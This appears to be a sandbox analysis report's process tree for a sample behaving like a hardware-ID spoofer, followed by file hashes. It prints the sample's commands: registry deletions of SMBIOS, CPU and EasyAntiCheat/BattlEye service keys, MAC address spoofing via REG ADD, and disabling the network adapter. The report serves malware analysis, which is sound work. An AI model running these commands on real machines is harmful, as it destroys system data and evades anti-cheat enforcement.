C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v SMBiosData /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\mssmbios\Data /v SMBiosData /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\ControlSet001\Services\EasyAntiCheat /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\ControlSet001\Services\EasyAntiCheat /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg delete HKLM\SYSTEM\ControlSet001\Services\BEService /f >nul2⤵
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\ControlSet001\Services\BEService /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cmd /C C:\Windows\Mac.bat >nul2⤵
-
C:\Windows\system32\cmd.execmd /C C:\Windows\Mac.bat3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic nic where physicaladapter=true get deviceid5⤵
-
-
C:\Windows\system32\findstr.exefindstr [0-9]5⤵
-
-
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\014⤵
-
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0014⤵
-
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\00014⤵
-
-
C:\Windows\system32\reg.exeREG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v NetworkAddress /t REG_SZ /d C29344BE1177 /f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic nic where physicaladapter=true get deviceid | findstr [0-9]4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic nic where physicaladapter=true get deviceid5⤵
-
-
C:\Windows\system32\findstr.exefindstr [0-9]5⤵
-
-
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\014⤵
-
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0014⤵
-
-
C:\Windows\system32\reg.exeREG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\00014⤵
-
-
C:\Windows\system32\reg.exeREG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001 /v PnPCapabilities /t REG_DWORD /d 24 /f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic nic where (netconnectionid like '%') get netconnectionid,netconnectionstatus /format:csv5⤵
-
-
-
C:\Windows\system32\netsh.exenetsh interface set interface name="Ethernet" disable4⤵
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
207B
MD50357e1583c59f1f8dc2a63632b7481e5
SHA10056ffccf4772d1a3b6ccde6d3757babd52e8186
SHA256cb925eb54437a5d3b3a36fe849feeb215d3c725c8218c54ba97d5479789e3ec4
SHA512329264db0b8b2b29664333891658cd7f03fdd52b2127970fc4dc3302e9b9c1646cebb6d093fd7dcb72dd54e98fd9bfa77b710db7c9cbde4452242d388aebb196
-
Filesize
453KB
MD56a6505b2413d2c7b16c6d059448db9e5
SHA1dfe6c6b6051c26326a12dc9d0d5701cb4728266c
SHA25653e3b72f8eb13acf3cb69d4cb124e8dc64fc541555c3c95cc8003b8046853955
SHA5121c0531581f0efe683ab763f6633ace60f0637b22830e7ec551babe19ac777a1a6821dc568bce13a8abee8bfef1c7d9397e0bee1c78c00810c65dadd788dab2a3
-
Filesize
18KB
MD5785045f8b25cd2e937ddc6b09debe01a
SHA1029c678674f482ababe8bbfdb93152392457109d
SHA25637073e42ffa0322500f90cd7e3c8d02c4cdd695d31c77e81560abec20bfb68ba
SHA51240bbeb41816146c7172aa3cf27dace538908b7955171968e1cddcd84403b2588e0d8437a3596c2714ccdf4476eefa3d4e61d90ea118982b729f50b03df1104a9
-
Filesize
3.4MB
-
Filesize
11.5MB
-
Filesize
3.4MB
-
Filesize
11.5MB
-
Filesize
8KB
-
Filesize
3.4MB
-
Filesize
8KB
-
Filesize
11.5MB
-
Filesize
3.4MB
-
Filesize
11.5MB